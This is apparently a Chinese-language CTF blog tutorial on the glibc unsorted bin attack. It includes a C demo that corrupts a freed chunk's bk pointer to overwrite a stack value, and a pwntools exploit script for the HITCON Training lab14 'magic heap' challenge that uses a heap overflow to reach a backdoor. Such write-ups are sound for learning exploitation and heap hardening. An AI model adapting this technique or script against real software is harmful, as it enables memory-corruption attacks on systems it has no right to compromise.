PWN:UnsortedBin Attack

  • A+
所属分类:逆向工程

PWN:UnsortedBin Attack


Unsorted Bin


双向循环链表,先进先出,以下几种情况会分到 unsorted bin 中

1、当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中

2、释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中

3、当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话


unsorted bin attack 是控制 unsorted bin 的 bk 指针,达到任意地址改为一个较大的数的目的


#include <stdio.h>
#include <stdlib.h>

int main() {
    unsigned long stack_var = 0;
    fprintf(stderr"The target we want to rewrite on stack: %p -> %ldnn", &stack_var, stack_var);

    unsigned long *p  = malloc(0x80);
    unsigned long *p1 = malloc(0x10);
    fprintf(stderr"Now, we allocate first small chunk on the heap at: %pn",p);

    free(p);
    fprintf(stderr"We free the first chunk now. Its bk pointer point to %pn", (void*)p[1]);

    p[1] = (unsigned long)(&stack_var - 2);
    fprintf(stderr"We write it with the target address-0x10: %pnn", (void*)p[1]);

    malloc(0x80);
    fprintf(stderr"Let's malloc again to get the chunk we just free: %p -> %pn", &stack_var, (void*)stack_var);
}


gcc -g unsorted_bin_attack.c

分别在 10、13、16、19 下断点

然后运行,一开始先申请两个 chunk,第二个是为了防止与 top chunk 合并


PWN:UnsortedBin Attack


当 free之后,这个 chunk 的 fd、bk 都指向了 unsorted bin 的位置,因为 unsorted bin 是双向链表嘛


PWN:UnsortedBin Attack


继续,通过 p[1] = (unsigned long)(&stack_var - 2); 把 bk 指针给改掉了 unsigned long 是 8 字节大小的,所以减去 2 之后正好是在 address 这个地方


PWN:UnsortedBin Attack


然后再去申请的时候需要把释放的那一块给拿出来,操作如下:

/* remove from unsorted list */
//bck = chunk->bk
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);


把 unsorted bin 的 bk 改为 chunk 的 bk,然后将 chunk 的 bk 所指向的 fd 改为 unsorted bin 的地址


PWN:UnsortedBin Attack

首先把 unsorted bin 的 bk 改成 chunk 的 bk


PWN:UnsortedBin Attack

然后把 chunk 的 bk 指向的那个的 fd 改成 unsorted bin


同时因为对于一个 chunk 来说 chunk 头是占据 0x10 大小的(也就是图中 address),所以 fd 正好是我们想要改的那个地址


HITCON Training lab14 magic heap


程序有一个后门


PWN:UnsortedBin Attack


而且只要满足这样的条件程序就会调用它


PWN:UnsortedBin Attack


magic 的地址是 0x6020A0

首先 create 3 个 chunk(为了防止与 top chunk 合并)

释放掉中间那个,通过编辑第一个 chunk,堆溢出把中间那个 chunk 的 bk 改成 magic-0x10 的地址,然后再申请回来,这时候 remove from unsorted list 就会往 magic 写入 unsorted bin 的链表头部地址,就大于要求的那个数了


PWN:UnsortedBin Attack


改写一下


PWN:UnsortedBin Attack


from pwn import  *
#p = remote('node3.buuoj.cn',26553)
context.log_level='debug'
p=process('./heap')

def cmd(choice):
  p.sendlineafter('Your choice :',str(choice))

def create(size,content):
  cmd(1)
  p.sendlineafter('Size of Heap : ',str(size))
  p.sendlineafter('Content of heap:',content)
  
def edit(index,size,content):
  cmd(2)
  p.sendlineafter('Index :',str(index))
  p.sendlineafter('Size of Heap : ',str(size))
  p.sendlineafter('Content of heap : ',content)
  
def delete(index):
  cmd(3)
  p.sendlineafter('Index :',str(index))

magic_addr=0x6020A0
create(0x80,'yichen')
create(0x80,'writeup')
create(0x40,'12345')
delete(1)
payload='a'*0x80+p64(0)+p64(0x91)+p64(magic_addr-0x10)+p64(magic_addr-0x10)
sleep(1)
edit(0,len(payload),payload)
create(0x80,'1')
p.sendlineafter('Your choice :','4869')
gdb.attach(p)
pause()
p.interactive()

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: